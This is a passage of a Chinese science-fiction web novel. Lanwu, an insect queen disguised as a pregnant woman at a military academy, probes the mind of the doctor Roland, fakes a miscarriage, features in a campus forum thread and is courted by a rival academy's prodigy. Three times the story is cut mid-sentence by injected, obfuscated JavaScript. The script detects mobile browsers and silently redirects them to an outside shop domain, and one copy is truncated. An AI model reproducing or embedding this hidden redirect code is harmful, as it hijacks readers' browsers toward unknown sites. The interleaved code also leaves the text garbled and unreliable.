指尖触碰到她微凉的额头,罗兰收敛心神,将那股温和的、带着药草清苦气息的精神力,如同引导溪流般,缓缓送入兰乌的精神图景。他预期会触碰到一片因恐惧而波澜起伏、甚至可能带着尖锐碎片的紊乱之地,他已经做好了耐心梳理的准备。 然而,就在他的精神力与她的图景接触的刹那—— 不对。 没有预期中的那么紊乱,反而像是蓄势待发的野兽,正等待自己的猎物落网。 一股与他同源、却更加精纯磅礴的力量,如同早有准备般,顺着他的精神力通道,轻柔却不容抗拒地涌了进来。像温暖的潮水,瞬间包裹了他探出的精神触须。 ……并非攻击,更像是一种邀请,一种交融的初始。 中断它!立刻! 作为医生的本能和SS级精神力者的警觉在脑中尖锐响起,这太异常了,绝不是被安抚者该有的反应,更像是一种……反向的渗透! 他的精神力几乎本能地就要收缩、构筑壁垒,将这不明意图的侵入者驱逐出去。 可就在那电光火石的瞬间—— 那涌来的力量中,蕴含着一丝若有若无的、他已经三周未体验过的,令他灵魂都为之战栗的安宁感。像是最顶级的诱饵,轻轻搔刮着他内心深处连自己都不愿承认的渴望。 也许、也许她只是无意识的反应……强行中断会伤到她……就一下……再感受一下……我能控制住…… 片刻的犹豫,贪婪的动摇,如同决堤的蚁穴。 他放弃了抵抗。 于是,那温暖的力量感知到了他的默许与松懈,瞬间变得汹涌澎湃,不再是溪流,而是化作了无边无际的温暖海洋,将他彻底吞没。他的理智、他的警惕、他身为医者和学者的所有身份认知,都在那极致到令人晕眩的安宁与满足感中,土崩瓦解,消弭于无形。 他沉溺了。 意识模糊地向下沉沦,像一块投入深海的石子,连涟漪都未曾泛起,只想永远停留在这片隔绝了所有烦恼的极乐之海。 不知过了多久,或许只是一瞬。 一股尖锐的、带着明确探查意图的力量,像一根冰冷的探针,猛地刺入了他那因极致愉悦而变得毫无防备、异常柔软的精神图景深处。 她在翻找深处的记忆……? 罗兰几乎是立刻反应了过来。 精神核心深处那属于SS级精神力的、本能防御机制,被这粗暴的行为触发,下意识地抵抗起来。 可兰乌的精神力已经彻底占据了通道,他的力量甚至不如对方,精神力徒劳地冲出去,又只能耻辱地、沿着原来的窄小通道挤回来。 “呃——” 精神力逆流! 痛! 难以形容的痛楚席卷每一根神经! 他明明察觉到了异常,他明明有机会阻止,却因为那可笑的研究癖、那点隐秘的贪念,还有那自以为是的掌控力,任由自己沉溺。 现在反抗,已经太晚。 好痛! 精神力在自己的精神图景中,不受控制地横冲直撞。 然而,在这极致的痛苦与憋屈之中,在那精神图景被自身力量疯狂破坏的混乱风暴里…… 似乎,还夹杂着一丝……说不上来的感受。 不是痛苦,不是愤怒。 那是一种极其微弱、转瞬即逝的……仿佛在毁灭的边缘,依旧能感受到的、源自那温暖海洋残余的……一丝诡异的安宁?或者说,是身体在承受极限痛苦时,从之前极致的愉悦中借来的一点扭曲的耐受。 这感觉太荒谬,太不合逻辑,甚至让他觉得自己是不是因为痛苦而产生了幻觉。 但它的确存在,像毒蛇信子舔舐过的伤口,在灼痛中留下一丝冰凉的、令人毛骨悚然的战栗。 他蜷缩在地,身体不受控制地痉挛,视觉模糊,听觉被尖锐的耳鸣占据。 …… 看着罗兰蜷缩在地,身体痛苦痉挛,嘴角溢血,瞳孔涣散的模样,兰乌那双总是沉静的绿色眼眸里,第一次清晰地映出了惊骇。。 她只是想翻找记忆,怎么会引发如此严重的后果?! 精神力逆流! 这个词像一道惊雷在她脑海中炸开。在她传承的虫族模糊知识里,这是低等精神力生物在遭受不可承受的冲击或侵入时,可能发生的、近乎自毁式的崩溃现象。通常意味着……死亡,或者永久性的精神损毁。 他会死。 这个认知让兰乌的心脏猛地一缩,不是因为对罗兰这个人有多少感情,而是源于最直接的、冰冷的利害计算—— 他死了,自己怎么办? 她是他的特殊实验对象,是他的室友,是他亲手办理的实习医师。他一旦不明不白地死在这里,她将面临最严苛、最无所遁形的调查!她这个冒牌货能经得起多少查? 更何况,他是她遇到过最优质的能量来源。SS级的精神力,本来就是极为罕见的天才。恐怕拥有的热度,不比她小。 不能让他死! 恐慌只持续了极短的一瞬,便被更强大的求生欲和计算能力压下。兰乌迅速蹲下身,无视空气中依旧紊乱、带着刺痛感的能量残余,将手再次按向罗兰的额头。 这一次,她的精神力不再是伪装成的脆弱丝线,也不是尖锐的探针,而是试图化作最本源的、属于虫母的梳理力量,想要强行抚平那在他精神图景内横冲直撞的狂暴乱流。 然而,到底是SS级的精神力,逆流的力量太狂暴、太混乱了!充满了尖锐的碎片和排斥一切外物的暴戾。她的精神力刚一进入,就像小舟试图闯入飓风中心,不仅难以寸进,反而有被再次卷入、一同撕碎的危险! 强行镇压的话,是能解决,但也会耗尽她这些天养起来的全部精神力。 兰乌的额角渗出了细密的冷汗。她看着罗兰逐渐失去焦距的眼眸,知道时间不多了。 怎么办? 虫族的知识里没有应对这种低级错误的方案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753409|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !虫母对待不听话或者失去价值的个体,只有吞噬或毁灭! 引导……必须导出来! 一个念头如同电光火石般闪过,就像疏通堵塞的河道,不能一味堵截,必须给汹涌的洪水一个宣泄的出口。 这个想法极其冒险。如何引导?引导到哪里?她自己的身体能否承受住这股充满破坏力的混乱能量? 但这是目前唯一可能奏效的办法! 兰乌眼神一凛,不再犹豫。 精神力化作无数比发丝更纤细、却无比坚韧的触须,不再试图去平复那场风暴,而是像最灵巧的织工,小心翼翼地缠绕上那些狂暴乱流的边缘,感受着它们狂躁的脉动,然后,用一种极其温和却不容抗拒的力道,开始向外牵引。 她能感觉到那些混乱的能量如同灼热的、带着尖刺的洪流,顺着她的精神触须,被一点点地、艰难地引流出来。 太艰难了。 她恨不得把薄薄的精神力通道,再拓得宽敞一些。 ……好像也不是不行? 寻常建立精神链接时,都会有意识地控制通道。一方面,不同个体的精神力终究无法融合,甚至有人会出现严重的排异反应,哪怕治疗,也只能慢慢地适应陌生精神力地入侵。另一方面,一旦通道过大,释放出的精神力容易无法控制,输出者容易不小心过量,接受者也容易反过来入侵对方,造成紊乱。 但兰乌确信,她有这个控制的能力。 但她同时还得控制罗兰的精神力,不要因此全都泄出。 那样真得把人变成傻子了。 想了想,兰乌决定试试。她像个想做就做的庸医,凭着半点理论知识,将自己的精神力化作细针,挤入精神力通道。 而后,引导。 不够。 她索性人为制造了一个阀门,让罗兰的精神力能够从此处流出去。 “老师、老师?还听得见吗?”兰乌尽可能冷静地说,“清醒一点,集中精神,将力量从这里排出去。” 不知道罗兰听见了多少,那些紊乱的精神力,确实向兰乌指引的方向动了动。 有效。 兰乌干脆抱住了罗兰,用手捂住他的眼睛,减少他对外界的感知。只专心听她的指令。 “听着,听我的声音。” “放松……” “不要对抗,想象……想象你在清理被污染的水管……” “慢慢地、将那些污浊的精神力清理出去。” “感受我的存在。”兰乌低声地说,用自己的精神力引导对方的精神力,“对,就是这样。” 要是有一点问题,恐怕罗兰就会成为白痴。 治疗过程无比缓慢。 终于,当最后一股明显的混乱能量被罗兰“推”出体外后,他猛地咳嗽一声,整个人如同虚脱般彻底瘫软下去,呼吸却变得平稳而悠长。 “太棒了,老师。”兰乌也是紧张到出了一身汗,剧烈地喘息着,“你做到了。” 21. 21 罗兰是在一种仿佛灵魂被掏空、每一根神经都残留着灼痛和极度疲惫的感觉中,挣扎着恢复意识的。 他躺在冥想室冰冷的地板上,金丝眼镜歪在一旁,视野模糊,头痛欲裂。记忆如同破碎的镜片,勉强拼凑出失去意识前的最后画面——兰乌惊惶的脸,那股温和却强势涌入他精神图景的力量,然后是被粗暴探查记忆的触感,紧接着是……毁灭性的逆流和撕心裂肺的痛苦。 她探查了我的记忆。 这个认知像一根冰锥,刺穿了他浑噩的思绪。 他在军校当校医,自然知道,这样的行为有多恶劣。 是严重违纪、甚至上法庭的行为。 他用力撑起仿佛有千斤重的身体,一阵剧烈的眩晕袭来,让他差点再次栽倒。精神力严重透支和逆流带来的创伤,让他此刻虚弱得连站稳都困难。但他强忍着不适,扶着墙壁,一步步艰难地挪向门口。 他必须找到她,现在! 他推开冥想室的门,客厅里空无一人,只有模拟星光的夜灯散发着幽冷的光。他的目光立刻投向兰乌卧室紧闭的房门。 怒火和疑问支撑着他虚弱的身体,他几乎是撞开了那扇并未锁死的门。 然而,预想中需要他去质问、去揭穿的对象,此刻却以一种截然不同的、更加触目惊心的状态,呈现在他眼前—— 兰乌蜷缩在床上,整个人缩成小小的一团,背对着门口。黑色的睡裙被汗水浸透,紧贴在瘦削的脊背上,勾勒出剧烈颤抖的轮廓。压抑的、如同受伤幼兽般的痛苦呻吟,断断续续地从她咬紧的唇瓣间溢出。 空气中弥漫着淡淡的、不同于以往兰花香气的、带着一丝铁锈味的腥气。 地板上,隐约可见几滴暗色的、尚未完全干涸的……血迹?! 罗兰脑中“嗡”的一声,所有翻腾的怒火、所有的质疑和算计,在这一刻被眼前这更加紧急、更加直观的危机彻底冲散! 她这是……?! “兰乌!”罗兰的声音因虚弱和惊骇而嘶哑,他踉跄着扑到床边。 听到他的声音,兰乌艰难地、极其缓慢地回过头。她的脸色是一种近乎死灰的白,嘴唇被咬出了血痕,原本清亮的绿色眼眸此刻涣散无神,盈满了生理性的泪水和无边的痛苦。她看到罗兰,仿佛用尽了最后一丝力气,从牙缝里挤出破碎的音节: “痛……好痛……孩子……我的……孩子……” 她的手死死地按在剧烈起伏、紧绷如石的腹部,指甲几乎要掐进皮肉里。 可能是要生了! 但更可能……是流产的先兆! 无论是哪一种,结合她之前精神力枯竭、身体本就虚弱,以及刚刚经历那场凶险的精神力逆流冲击……情况都极度危险! 罗兰的心脏猛地沉了下去。作为一名医生,救死扶伤的本能瞬间压倒了一切。他立刻蹲下身,也顾不上自己的虚弱,伸手想要检查她的状况。 “别怕!放松,让我看看!”他的声音带着不容置疑的专业和急切,试图去触碰她的腹部脉搏。 然而,在他的指尖即将触碰到她的瞬间,兰乌却像是受惊般猛地蜷缩得更紧,发出一声更加凄厉的痛呼,身体剧烈地颤抖起来,仿佛在承受着某种来自内部的可怖撕裂感。 “不……不要……”她眼神涣散,泪水汹涌而出,声音微弱却带着一种濒死的绝望,“它……它在动……不对……不是这样……” 罗兰的手僵在半空,看着她痛苦到几乎扭曲的模样,感受着她身上散发出的那种混乱、濒危的生命气息,一种前所未有的无力感和恐慌攫住了他。 他之前的怀疑和愤怒,在此刻生命可能消逝的危机面前,显得如此渺小和不合时宜。 他现在该怎么办? 接下来的记忆,对罗兰而言,是一片混乱而尖锐的碎片。 他记不清自己是怎样用尽最后一丝力气按下紧急呼叫铃,也记不清校医队的医护人员是如何匆忙赶到,将那个蜷缩在床上、被剧痛和血色淹没的纤弱身影,用最快的速度转移到移动医疗床上的。 他只记得那刺耳的警报声,记得眼前晃动的人影,记得自己虚脱地靠在门框上,看着那扇通往急救室的门在眼前轰然关闭,上面亮起的“抢救中”红灯,像一块烧红的烙铁,烫在他的视网膜上。 周围是嘈杂的人声,有闻讯赶来的雷克索教官紧绷的询问,有凯斯那惯常嘲讽此刻却带着惊疑的声音,似乎还有阿尔文匆忙的脚步声……但这一切都像是隔着一层厚厚的、冰冷的玻璃,模糊而不真切。 他的世界,仿佛只剩下那扇紧闭的门,和脑海中不断回放的、兰乌最后那张惨白如纸、被痛苦彻底占据的脸。 时间在死寂和焦灼中缓慢爬行。 不知过了多久,也许只是几十分钟,也许是几个世纪,那扇门终于打开了。 走出来的主刀医生脸色凝重,他摘下手套,目光扫过围上来的几人,最终落在了靠在墙壁上面无血色的罗兰身上,声音带着职业性的沉重和一丝不易察觉的惋惜: “罗兰医生,我们尽力了。” 这句话像一把重锤,狠狠砸在罗兰的心口。 “兰乌夫人因突发性、原因不明的精神力剧烈波动,引发了严重的宫内应激反应和生理机能紊乱,导致了……不可避免的流产。”医生的话语清晰而残酷,“胎儿……没有保住。” 孩子……没了。 那个被他推测为“精神力天才”、那个让兰乌不惜一切也要“保小”的孩子……那个或许也间接导致了他精神力逆流的胎儿……就这么,消失了。 一股巨大的、混杂着悲痛、愧疚、荒谬和某种说不清道不明的失落的洪流,瞬间冲垮了罗兰摇摇欲坠的精神防线。他腿一软,几乎要跪倒在地,被旁边的雷克索一把扶住。 “那……她呢?”罗兰的声音嘶哑得几乎不像他自己的。 “兰乌夫人自身的情况也很不乐观。”医生眉头紧锁,“精神力严重枯竭,身体机能因流产和之前的损耗极度虚弱,一度出现生命体征衰竭。我们暂时将她转入了ICU,需要持续观察。她能否挺过来……还是个未知数。” 未知数…… 罗兰被搀扶着,透过ICU厚重的玻璃窗,看到了里面躺在病床上,浑身插满管线,脸色苍白得几乎与床单融为一体,只有旁边仪器上微弱跳动的曲线证明她还活着的兰乌。 那么小,那么脆弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757543|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仿佛随时会化作一缕轻烟消散。 他所有的怀疑,所有的愤怒,所有关于她为何探查自己记忆的疑问,在这一刻,都显得如此苍白、如此不合时宜,甚至……如此卑劣。 一个孩子死了。 一个母亲在生死线上挣扎。 巨大的罪恶感,身为医者却无能为力的痛苦,如同冰冷的潮水,将他彻底淹没。他靠在冰冷的玻璃上,缓缓闭上眼,感觉自己的灵魂也和里面的那个人一样,正在一点点碎裂、冻结。 让他几乎忘了,自己的精神图景,也处于一个极度糟糕的状态。 被人强行凿开了阀门。 又为了精神力不会随意流出,塞入了一截她自己的精神力,就这么堵着。 一旦兰乌出事,恐怕……他的精神图景也会崩溃。 …… ICU的灯光苍白而冰冷,透过眼皮也能感受到那毫无生气的亮度。各种维生仪器规律的滴答声,以及体内流淌的、带着微弱镇静效果的药物,构成了一个隔绝外界的、安全的茧房。 兰乌的意识无比清醒,清醒地感受着体内那空荡的、带着一丝生理性隐痛的虚无。 孩子? 不,从未有过什么孩子。 那只是一个为了伪装和初期自保而构筑的拟态孕囊。一个精巧的、可以汲取能量、并能适时产出忠诚下属的工具。 按照虫母的传承,在汲取了如此多高质量的精神力之后,它本应成功孕育出一个强大的、至少是精英级别的亚雌。 能量是足够的,甚至绰绰有余。 但,她失败了。 失败的原因,并非外界的刺激,也非精神力的冲击——那点混乱,对她虫母本质的精神核心而言,不过是些许涟漪。真正的根源,在于她自身。 她这具身体,太虚弱了。 从不够健康的孵化和破壳开始,她根本没有得到虫母应有的、漫长的成长和能量积累期。 不是流产。是孕育失败。 是这具未发育完全的虫母之躯,无法支撑一个完整亚雌的最终成型。 她能清晰地回忆起那最后时刻的感觉—— 那些凝聚的、本该塑造新生命的精神力,在最终定型的临界点,因为母体的强度不足,无法维持稳定的形态,最终溃散开来,反冲回她的身体,并引发了剧烈的生理紊乱和……那些看起来很像大出血的排异反应。 真是……讽刺。 她算计了一切,利用了所有人的同情与欲望,攫取了丰沛的能量,最终却倒在了自己这具不争气的身体上。 但还有一个问题。 她的拟态孕囊里,好像真有一个未成型的胚胎…… 不知是什么形态。 万一,不是人型…… 兰乌疲惫地睁开眼,喉咙里溢出几声痛呼,立刻有人凑近过来。 “她醒了!” “……孩子。”兰乌流下泪,“我的孩子……给我看看它,好吗?” 没有人敢回答。 兰乌是真急了,要是送去化验,结果不敢想象。 她几乎要坐起身,连带着身上一大堆管子—— “让我看看它!” 22. 22 >>>星刃内部论坛>>>灌水区>>>匿名版 【热帖】【沉重】那个兰乌夫人……好像出事了,孩子没保住 1L匿名(楼主) 刚从医疗部那边听到的消息,整个人都懵了。就那个黑裙孕妇,兰乌,被紧急送进ICU了,听说……流产了。孩子没保住。 我天,之前还在论坛里开玩笑,现在心里堵得慌…… 2L匿名 ?????? 什么情况?!楼主说清楚! 3L匿名 我靠!真的假的?!今天白天不是还好好的吗?我还看到罗兰医生和她在一起! 4L匿名 回复3L:好像就是晚上出的事!具体原因不明,但听说情况非常凶险,她人现在还在ICU没脱离危险。 5L匿名 ……一时不知道说什么好。虽然之前觉得她考军校很离谱,但……一个孩子就这么没了? 6L匿名 是因为网上的舆论压力吗?那些说她被家暴、身体不好的帖子? 7L匿名 很有可能!她之前精神状态就不稳定,一看就是强撑着。这次被全网扒皮,肯定是受刺激了! 8L匿名 (权限警告:此帖涉及敏感医疗信息与个人隐私,请勿散布未经证实的猜测。) 管理员【钢铁之心】已执行操作 9L匿名 无论如何,希望她能挺过来。太惨了,丈夫没了,现在孩子也没了。 10L匿名 我突然想起她之前考核时,罗兰医生和雷克索教官都那么紧张她的身体……是不是早就知道她的情况很糟糕了?那个SSS级精神力,难道是靠透支母体换来的? 11L匿名 细思极恐! 12L匿名 楼上别瞎分析了!现在最重要的是人的安全!祈祷兰乌夫人平安! 13L匿名 我是治愈系的,说点可能相关的。极度剧烈的情绪波动,或者外部的精神力冲击,对于本就精神力枯竭、身体虚弱的孕妇来说,确实是可能导致……这种结果的诱因。她之前的状态,简直就是走在悬崖边上。 14L匿名 所以到底是谁泄露了她的医疗报告?!这跟杀人有什么区别?!@管理员,这事必须查清楚! 15L匿名 我现在觉得她之前采访说的那些胡话,可能真的是刺激太大了……命运对她太不公平了。 16L匿名 【权限提示:本帖涉及内容过于敏感,已暂时锁定,禁止回复。请大家保持理智,尊重隐私,等待官方通知。】 管理员【钢铁之心】已执行操作 >>>页面自动刷新>>> 【公告】关于近期论坛讨论规范的再次重申与事件说明 ……星刃军校全体师生对兰乌学员的不幸遭遇表示深切同情与关怀,目前医疗部正全力救治。请勿传播未经证实的信息,尊重个人隐私,避免造成二次伤害。相关调查正在进行中…… …… 被打了镇静药物。 兰乌昏昏沉沉地又睡了一觉,醒来没看见自己上断头台,心里也就有了个底。 应该没有被发现异常。 但是…… 她一直以为,自己的虚弱只是暂时的,是能量不足,是发育不全。只要她汲取足够的精神力,只要她蛰伏起来慢慢恢复,她终将成长为一名完整的虫母,构筑自己的虫巢,孵化出忠诚的军队,然后……带着无可匹敌的力量,杀回去,将那个在她诞生之初就欲将她扼杀的存在,彻底撕碎。 复仇,建立属于自己的帝国——这是支撑着她从破壳、逃亡到人类世界的唯一信念。 而这一切的基石,便是她作为虫母的、与生俱来的繁殖能力。 可现在,这基石,在她投入了远超普通亚雌孵化所需的精神力后,在她自认为准备充分之后,崩塌了。 不是能量不够。 是她的土壤本身,就是贫瘠的。 这具身体,或许从根源上,就存在着某种缺陷。一个……无法完成最终孕育的缺陷。一个不合格的虫母。 想想也对,虫族传承过来的知识,从没提过生第一个崽需要三个月、还需要那么多精神力…… 恍惚。 仿佛漂浮在虚无之中,脚下是万丈深渊,一直以来的努力骤然成空。她不是在进行一场卧薪尝胆的复仇之旅,她只是一个……被本能驱使着、却最终被本能背叛的、残缺的怪物。 如果不能孕育子嗣,她拿什么去对抗那拥有整个虫族军团的女王? 靠她自己这具残破的、连一个亚雌都无法成功孵化的身体吗? 像一个笑话。 复仇,成了一个遥不可及、苍白无力的幻梦。 那她之前所做的一切,又有什么意义? 只是为了……活下去? 像一只阴沟里的老鼠,靠着伪装和窃取,在敌人的地盘上苟延残喘? 但如果…… 如果不是虫母了呢? 如果……彻底抛弃那个注定无法实现的、回归虫族篡位的目标呢? 那些零星的、关于“正常”“人生”的模糊概念,关于另一种生存方式的、被虫族本能和仇恨压制住的念头。 无法建立虫族帝国…… 以这个“人类兰乌”的身份,活下去。 正常地、耀眼地活下去。 甚至…… 以人类的身份,也未尝不能杀死虫母、为自己复仇。 …… 医疗技术高度发达,大部分肉.体创伤,都已经不是问题。 没过多久,兰乌就出院了。 她被送回了与罗兰同住的那间宿舍。只是这一次,气氛与以往截然不同。 校方出于人道主义关怀,和避免二次刺激的考虑,正式批准了她暂时免除一切课程和实习任务的申请。 那份刚刚到手、还没捂热的实习医生证,被无声地搁置了。 罗兰医生肩负起了主要的看护责任。 但他面对兰乌时,不再主动提及任何与精神力、研究相关的话题,只是每日例行检查她的身体恢复情况,叮嘱她按时服用调理药物,然后便常常将自己关在冥想室或实验室里,仿佛在躲避什么。 兰乌乐得清静。 也乐得他不去问她,为什么要探查他的记忆。 她整日待在房间里,或者坐在客厅的窗边,身上依旧穿着那身标志性的黑色衣裙,像一抹挥之不去的沉默剪影。 她确实需要时间来消化这个悲惨的消息——不仅仅是扮演一个失去孩子的悲痛母亲,更是要消化那个关于自身残缺的信息。 无法孕育。 复仇无望。 这两个念头如同鬼魅,时时缠绕着她。 她偶尔会点开星网,一边学习基础文字,一边看着那些关于她的、已经逐渐平息但仍旧偶尔会被提起的舆论。 阿尔文和凯斯都来看过她几次。 阿尔文带着洛希尔家族的慰问品和关怀,言辞间充满了惋惜,与保证会继续推进慈善项目的承诺。似乎想要安慰,却也没说出什么。 凯斯则依旧毒舌,说着“看来文盲终于可以安心养膘了”之类的话,但那铂金色的眉头总是微微蹙着,放下带来的点心时,动作也显得有些生硬。他灰蓝色的眼眸掠过她时,会飞快地移开,仿佛不愿与她此刻的脆弱过多对视。 雷克索教官也来过一次,沉默地放下一些据说对恢复有益的营养剂,留下了一句“好好休息,有需要可以找我”,便如同他出现时一样,沉默地离开了。 所有人都把她当作了一个需要小心翼翼对待的、易碎的琉璃制品。 兰乌接受着这一切,脸上挂着符合预期的、带着哀伤与疲惫的平静表情。 如果不能成为孕育帝国的虫母…… 她究竟该成为什么? 她想不出个结果。 …… 乱七八糟的思考维持了一个月。 兰乌没怎么看外界的舆论,也没怎么看校内发生的事。 当她第一次出去散步,才发现整个星刃几乎变了副模样。兰乌有些迷茫,看了看论坛,才知道,是每年都有的,两校联谊活动。 嗯……更像是竞争。 惯常充满钢铁与纪律气息的中央广场,此刻被装点得颇具节日气氛。巨大的光屏悬浮在半空,上面清晰地显示着两所学校的徽章——代表力量与锋刃的星刃,以及代表智慧与繁花的梵卡。 星刃&梵卡联合竞技交流会 一行闪烁的大字映入眼帘。 兰乌想起来了。之前似乎听凯斯用他那惯常的嘲弄语气提过一嘴,说是两所学校每年例行的“联谊”,美其名曰促进交流,实则是方方面面、明里暗里的竞争,从学术论文到实战模拟,赢家通吃,输家颜面扫地。 去年,是星刃这边赢了。 然后就喜滋滋地在星网上宣传自己是帝国第一军校。 今年看战绩……好像不太行?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763077|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她的目光,不由自主地被光屏上反复播放的一段精彩集锦吸引了。 那是一个身着梵卡标志性银蓝色制服的女学生,身姿挺拔,动作精准。机甲对抗赛,以近乎炫技的方式瓦解了星刃选手的防御。战术推演,她布局刁钻,算无遗策。甚至在纯粹的精神力精细操控项目上,也展现出了惊人的稳定性。 奥萝拉·林德。 梵卡军校机甲系,本届毫无争议的天才。 光屏上打出的战绩列表长得惊人,几乎囊括了目前已进行项目的大部分个人第一。她的影像被放大,那张精致面孔上,没有倨傲,只有一种沉浸在战斗中的、纯粹的专注和冷静的自信。 兰乌静静地看着。 她穿着那身仿佛长在身上的黑色长裙,如同一个幽魂,悄无声息地走在熙攘的人群边缘。学生们大多聚集在各个比赛场馆周围,为各自的学校呐喊助威,难得没人注意到她。 就在她绕过一个人声鼎沸的机甲格斗馆,准备走向更僻静处时,她与一个人迎面相遇。 对方似乎刚从某个赛场下来,额角还带着细密的汗珠,银蓝色的制服外套随意地搭在臂弯,里面是贴身的作战服,勾勒出矫健而充满力量感的身形。她正微微低头,看着手腕上通讯器弹出的数据,眉头微蹙,似乎在复盘刚才的比赛。 是奥萝拉·林德。 兰乌的脚步顿住了。 几乎是同时,奥萝拉也感受到了视线,抬起头。 两人的目光在空中相遇。 奥萝拉的眼神清澈、锐利,带着天才特有的、不加掩饰的审视感。她显然认出了兰乌——这个在星刃乃至整个帝国网络上都颇具名气的特殊存在。她的目光在兰乌苍白的脸和黑色的衣裙上停留了一瞬,冷静的眼眸里,闪过一丝极快的好奇。 沉默在两人之间弥漫了短短几秒。 “你好。”奥萝拉伸出手,“我听说过你。” “SSS级的治愈系。” 兰乌:“……嗯。” “你和我听说的不一样。”却也没说哪里不一样。 “我看过你的资料,兰乌女士。”奥萝拉开口,没有寒暄,直接切入核心,“SSS级精神力,史无前例。即便在梵卡,这也是需要被重点记录和研究的特质。” 兰乌抬起眼,绿色的眼眸依旧没什么神采,像蒙尘的宝石。 奥萝拉迎着她的目光,继续道:“我不知道你经历过什么,也没兴趣探究。但我知道,天赋不是用来哀悼过去的祭品。” 她伸手指向远处隐约传来欢呼的场馆方向,那里正在进行着激烈的角逐。“那里,每一个在场上拼搏的人,无论来自星刃还是梵卡,都在用自己的方式争取胜利,证明自己的价值。有人靠体力,有人靠谋略,有人靠团队协作。” 她的目光重新聚焦在兰乌身上,锐利如刀。 “而你,拥有着他们所有人梦寐以求的、最顶级的天赋。”她点了点自己的太阳穴,“却任由它生锈。” 奥萝拉的语气没有任何起伏,只是在陈述她所认定的真理,“别人的怜悯,风一吹,就散了。真正能让你站稳脚跟,让你能决定自己未来走向的,只有你自己亲手挣来的东西——实力,成绩,尊重。” 她看着兰乌苍白得近乎透明的脸,最后说道: “你的敌人不会消失,你的困境不会改变。沉溺于痛苦,只会让你拥有的东西,一点点失去。” “自己挣来的成功,才是谁也夺不走的堡垒。” 说完,奥萝拉深深地看了兰乌一眼。 “星刃……或许有它的优势,铁血,纪律,适合塑造纯粹的战士。但它显然并不完全适合你。” “但在梵卡,情况会不同。”奥萝拉的声音有点僵硬,她看着空气,像是在背诵什么稿件,“我们拥有全帝国最顶尖的精神力研究机构,有专门针对女性体质和精神特性设计的全套培养方案。在那里,你的SSS级精神力,会被当作最珍贵的瑰宝来对待和研究,是通往更高层次的钥匙。” “更重要的是环境。”她强调道,“在梵卡,你不会因为你的性别、你的过去,或者你可能存在的脆弱而被特殊看待。那里只看重你的能力和潜力。你可以毫无顾忌地施展你的天赋,思考如何变得更强。” 广告时间结束,她看着兰乌,期望她做出什么回答。 “果然,我还是不甘心。”沉默许久,兰乌终于开口,“我应该……” 奥萝拉充满期待地看着她。 “我应该再努力生生看。” 奥萝拉:“……” 23. 23 傍晚,梵卡军校的临时休息区内,奥萝拉·林德正和几名队友一起复盘今天的几场关键比赛。 空气中弥漫着刚结束战斗后的亢奋余韵。 “今天干得漂亮,奥萝拉!星刃那几个家伙脸都绿了!”一位身材高挑的女性用力拍了拍奥萝拉的肩。 奥萝拉只是微微颔首,注意力还在自己手腕光屏上,仍然在复盘这次团队作战:“他们的防御阵型在第三分钟时有衔接漏洞,下次可以更快切入。” “不愧是你看得仔细……”另一个戴着战术目镜的女生推了推眼镜,随即像是想起什么,语气带上了几分好奇,“对了,奥萝拉,我们回来时听人说,你下午在走廊碰上星刃那个……兰乌了?” 这话一出,周围几个队员都悄悄竖起了耳朵。兰乌的名字,即便在梵卡,也因其过于戏剧性的经历和SSS级精神力的名头而为人所知。 奥萝拉从数据中抬起头,平静地“嗯”了一声。 “怎么样怎么样?”有人来了兴趣,压低声音,“是不是跟星网视频里一样,看着风一吹就倒,惨兮兮的?” 作为机甲战斗师,她语气里带着一点微妙的轻蔑。 分析位的女生也补充道:“从公开数据和舆论分析,她的心理状态应该非常脆弱,精神力状况也极不稳定。” 奥萝拉沉默地听完队友们的议论,将光屏关闭。 “她和我们想象的不一样。”奥萝拉开口,声音一如既往的冷静,却带着不容置疑的份量。 队友们安静下来,看向她。 “她不是脆弱。”奥萝拉斟酌着用词,试图精准描述那种感觉,“她是……停滞了。像一台输入了错误指令,或者失去了核心目标的顶级机甲,空有强大的引擎,却不知道该往哪里发力。” 她看向刚才说她“惨兮兮”的女生:“她身上没有自怨自艾的气场。” “她的精神力或许不稳定,但那种品质和存量……”奥萝拉顿了顿,眼中闪过锐利的光,“如果能找到正确的引导方式,或者,一个足够强大的、让她不得不全力以赴的目标,可能、不、她一定会爆发出惊人的力量。” 休息区内一片安静,队友们都被奥萝拉这番超常的分析镇住了。 没听过奥萝拉如此夸赞。 “所以……这就是为什么老师让我们试着拉她来梵卡?” “她拒绝了梵卡的邀请,至少是现在。”奥萝拉总结道,表情难得有点纠结,“她似乎还被困在自己的迷宫里……” 奥萝拉的目光投向窗外星刃军校那标志性的、棱角分明的建筑群,仿佛能穿透墙壁,看到那个沉浸在自我世界中的黑裙身影。 如此强大、如此天赋…… 为何要执着于生孩子。 “也许她只是没见过另一条道路。”奥萝拉叹息。 …… 